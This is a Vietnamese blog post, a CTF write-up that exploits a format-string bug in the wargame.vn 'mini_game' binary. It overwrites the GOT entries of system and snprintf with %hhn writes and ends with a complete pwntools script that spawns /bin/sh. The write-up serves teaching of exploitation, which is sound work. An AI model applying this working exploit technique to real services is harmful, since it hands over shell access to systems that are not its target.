Thứ Bảy, 9 tháng 6, 2018

Format string phần 2 (Writeup a CTF challenge)


Chào ! lại là tôi đây. Bây h tôi sẽ tiếp tực bài FmT hôm trước nhé. Hôm nay sẽ là chữa 1 bài bị lỗi FmT trên trang wargame.vn (1 trang làm CTF của Bkav)
Tên bài là mini_game tác giả là của 1 anh khá đẹp trai dấu tên, tên là Chung sinh năm 96 tại trường DHBKHN.
Về mức độ thì mấy ông yên tâm là cứ thấy FmT là đã cảm giác dễ rồi ý.
Thôi bắt đầu nhé.
Src này
Chạy thử nhé.





Chả có gì đặc biệt ngoài mấy hàm check lung tung cả. chỉ cần theo luồng nhập tên, chọn boss số 2 (Asassins Hunter) chọn “Y” và thế là đến đoạn bị lỗi. đấy là do mình đọc pseudo code trước nên ms biết thôi. Nhưng cái đó k quan trọng nên k nói ở đây. Bây h thì đi sau hơn để xem lỗi.

À =] làm tý demo để cho mấy ông xem nếu khai thác được thì nó sẽ nguy hiểm như thế nào nhé.

Chạy payload “flagminigame.py”


Thấy không. 1 chương trình hoàn toàn bình thường nhưng chỉ vì lỗi ở 1 chỗ duy nhất thôi là hacker có thể gọi tiến trình khác lên và chiến luôn máy của server dịch vụ này.
OK làm tiếp nhé

Vứt vào IDA này


To vãi luôn ý và nhiều hàm linh tinh để làm mất tg của mình nữa. nhưng thứ duy nhất lên được chú ý ở đây là hàm “snprintf” bị tôi bôi đen ở dòng 61 kia kìa.
Snprintf làm gì à ?? nó thuộc họ printf nhưng thay vì in ra màn hình thì nó lại in kết quả vào tham số thứ nhất “byte_602100” nhưng theo bài trước thì nó bị lỗi FmT

Kịch bản là thế nào há. Thì sau 1 hồi suy nghĩ tôi cũng đưa ra 1 kịch bản tấn công tuy hơi dài so với ý của tác giả nhưng thôi tạm chấp nhận vậy.
Tôi nhìn thấy lệnh cuối cùng là gọi đến “system” nhưng tham số đầu vào lại là lệnh “echo See ….” nhưng mà cái vung luu chuoi “echo See your …..” thì dkm nó k có quyền sửa. thế là bí 1 lúc rõ lâu. Thực ra là tại quen đi theo lỗi mòn cũ nên cứ bị trap tại 1 chỗ. Nhìn này.


Thấy không, địa chỉ của “echo See your….” Nó ở vùng .data và không có quyền ghi. Thế là kế hoạch sửa  “echo See your….” Thành “/bin/sh” không thành công.


Sau 1 hồi giải lao chơi các thứ .. thì tôi đã quyết định vào sâu trong system để xem GOT của nó là ntn. Và tôi đã ra 1 thứ mà mãi đến 1 lúc sau tôi mới hiểu là là mình không biết kiến thức này :3 LUL (cơ bản maf k để ý luôn ý) nói ngay bây h đây.



Tôi vào phần GOT(global offset table) của hàm “system” thì thấy khá lạ vì nó chỉ lưu 1 địa chỉ của phần .text (k đổi) trong khi bình thường nó sẽ lưu offset của libc(luôn thay đổi) “DM trước h không để ý luôn. Bây h mói biết =[”
Thế là mình có 1 hương làm mới.

Đầu tiền mình sẽ lưu GOT của system thành địa chỉ của 1 hàm phía trước đây này.


Để làm gì á ? để khi gọi đến system thì thay vì dùng lệnh system(“echo See…”) thì nó sẽ nhảy lên trên chỗ này 


Và nó sẽ biến thành printf(“echo See…”) nghĩa là 1 vòng lặp luôn ý. Và thay đổi GOT của “snprintf” thành Got của system “đoạn không đổi vữa nãy ý” (0x00000000004007b6)
Được rồi. bây h chót lại nhưng thứ sẽ làm nhé
+ viết payload = python để tự động chạy đến đoạn bị lỗi FmT
+ ghi đè địa chỉ 0x602030(địa chỉ của GOT system) = 0x400D5D (tạo vòng lặp)
+ ghi đè địa chỉ 0x602040 (địa chỉ của GOT snprintf) = 0x4007b6 (địa chỉ lưu ở GOT của system)

Thì khi thành công sau khi gọi đến hàm system nó sẽ nhảy đển hàm printf phía trên và sau đó nó sẽ gọi hàm snprintf lần 2. Nhưng lần này snprintf lại bị thay = GOT của system thì nghĩa là nó sẽ gọi đến lệnh system(byte_602100)
Nhưng lúc này byte_602100 đã được ghi từ lần trước. nên bây giờ lần đầu tiên nhảy đến snprintf thì ta phải có “/bin/sh;” ở phía trước để cho lần thứ 2 gọi sẽ là system(“/bin/sh;”)

Note lại mấy cái phải sửa nè
0x602040-> 0x4007b6
0x602030-> 0x400D5D

Đã thấy dối chưa lần đầu tiếp cận tôi cũng như thế đấy :3 nhưng chưa là gì đâu. Tiếp theo nó mới là khó đây này.
Đầu tiên nhé ta phải tách từng byte ra để xem byte nào lưu vào địa chỉ nào ví dụ như để địa chỉ 0x602040 lưu 0x4007b6 thì :


Tại sao lại cần biết cái này à. ờ thì mấy ông nhớ cái %n và mấy cáo offset không? Ý tưởng là các địa chỉ được các offset trỏ tới và “0xb6” là độ dài của đoạn in ra từ trước.(đã ví dụ ở phần 1) thì để ikhai thác bây giờ ta chỉ cần sắp xếp các byte cần truyền vào theo thứ tự từ bé đến lớn là xong. Đó cũng là thứ tự ghi từng offset của chúng ta.
Hơi khó hiểu hả ?? tôi cũng kb giải thích kỹ hơn ntn ngoài sử dụng ví dụ.

Đầu tiên ta tách các byte cần ghi ra và sắp xếp lại từ bé đến lớn nhé


Đầu tiên sẽ là “0x07” thì nghĩa là địa chỉ “snprintf+1” được ghi đầu tiên
Tiếp theo là “0x0d” thì nghĩa là địa chỉ “system+1” được ghi tiếp theo
Tiếp theo là “snprint+2” và “systemm+2” cùng là “0x40”
…… cứ thế đến khi nào hết 6 byte thì thôi.

Thật vậy. đây là đoạn payload của mình. (chỉ cần quan tâm tới dòng cuối thôi nhé. Dòng đầu sẽ nói sau) 


P64 nghĩa là format chuỗi dưới dạng địa chỉ 64 bit
Mấy ông thấy không. Đúng như trình tự tôi vừa nói ở trên.
Tiếp theo tính toán offset và viết mã khai thác. Vì kiến thức hầu như đã đủ nên tôi sẽ giải thích từng đoạn của mã khai thác.

Đầu tiên cũng là quan trọng nhất là dòng số 2:
fmt += cyclic(110-32-6+8-len(fmt))
nó để giới hạn độ dài đoạn phía trước. nghĩa là sau khi kết thúc đoạn này thì độ dài của payload luôn bằng “110-32-6+8=80” để offset (đoạn phía sau) luôn cố định địa chỉ. Để cho dễ dàng trong việc tính offset của dòng 1


vẽ lại cái offset này

 Đến dòng 1 nhé.


“/bin/sh;” là kịch bản ban đầu của chúng ta. Đó là lệnh mà sau khi ta ghi đè xong các vung nhớ thì hệ thống sẽ thực hiện.

“%255c%14$hhn”: in ra 255 kí tự và lưu số kí tự đã in được ( bằng 255+8(độ dài /bin/sh;)) vào offset thứ 14 là địa chỉ đầu tiên tôi vừa phân tích ở trên “snprint+1” dưới dạng byte
Như vừa nãy tôi nói ý thì địa chỉ “snprint+1” cần lưu giá trị là “0x7” nhưng mà vấn đề là đoạn “/bin/sh;” độ dài đã = 8 cmn rồi. nên ta cần  +255 để nó quay lại 7 (vì lưu dạng byte mà 2^8 = 256 )hiểu chưa? Hiểu rồi thì thấy có hay không :3

Tiếp nhé
“%6c%15$hhn”: như trên in ra 6 kí tự và lưu vào offset 15 “systemm+1”, thì địa chỉ này như trên đã phân tích là cần chứa giá trị  “0xd” và vừa nãy đã in ra 0x7 rồi nên bây giờ cần “0xd-0x7=0x6” ks tự nữa. đó là nguyên nhân %6c ở đây hiểu chưa nào

Chưa hiểu thì giải thích nốt 1 cái này nữa thôi nhé.
“%51c%16$n” offset số 16 cần lưu giá trị là “0x40” nên cần in them 51 kí tự nữa (51=0x40-0xd)

à cần chú ý 1 thứ đó là GOT của snprintf ý. Sau khi chạy qua thì chỗ này sẽ lưu địa chỉ của thư viện (libc)



Mình cần ghi vào
 Và nó lớn hơn đoạn mình ghi đè. Thì làm sao à ? nghĩa là ghi đè thành công thi sẽ có 1-2 byte cuối không được ghi và sẽ khiến đoạn của ta bị lỗi. nên ta phải dung kí hiệu %n để ghi và  sẽ  khiến cho 3 byte thừa bên cạnh bằng ‘\x00’ và giúp cho chương trình của chúng ta chạy được.
Tương tự với các offset khác xong.

Đây là flag chuẩn

"flagminigame.py"

from pwn import *


input= 0x0000000000603030
fmtv= 0x000000000602100
'''
callprintf = 0x000000000400D5D
snprintf = 0x000000000400D8F
systemcall= 0x00000000004007b6
0x602030 -> 0x0000400BCF
0x602100

snprint 0x602040
systemm 0x602030


writetosnprint 40 07 b6
writetosystem 40 0D 5D
sắp xếp

'''
snprint = 0x602040
systemm = 0x602030
p = process('./mini-game')
pause()
p.recvuntil('Name of your Hero: ')
p.sendline('1')
p.recvuntil('Your Choice: ')
p.sendline('2')
p.recvuntil('Do you want to share with your friends?(Y/N) ')
p.sendline('Y')
fmt = '/bin/sh;%255c%14$hhn%6c%15$hhn%51c%16$n%17$hhn%29c%18$hhn%89c%19$hhn%74c%20$hhn'
fmt += cyclic(110-32-6+8-len(fmt))
fmt += p64(snprint+1)+p64(systemm+1)+p64(snprint+2)+p64(systemm+2)+p64(systemm)+p64(snprint)+p64(snprint+3)
p.recvuntil('Status: ')
p.sendline(fmt)
p.sendline('1')
p.interactive()


Không có nhận xét nào:

Đăng nhận xét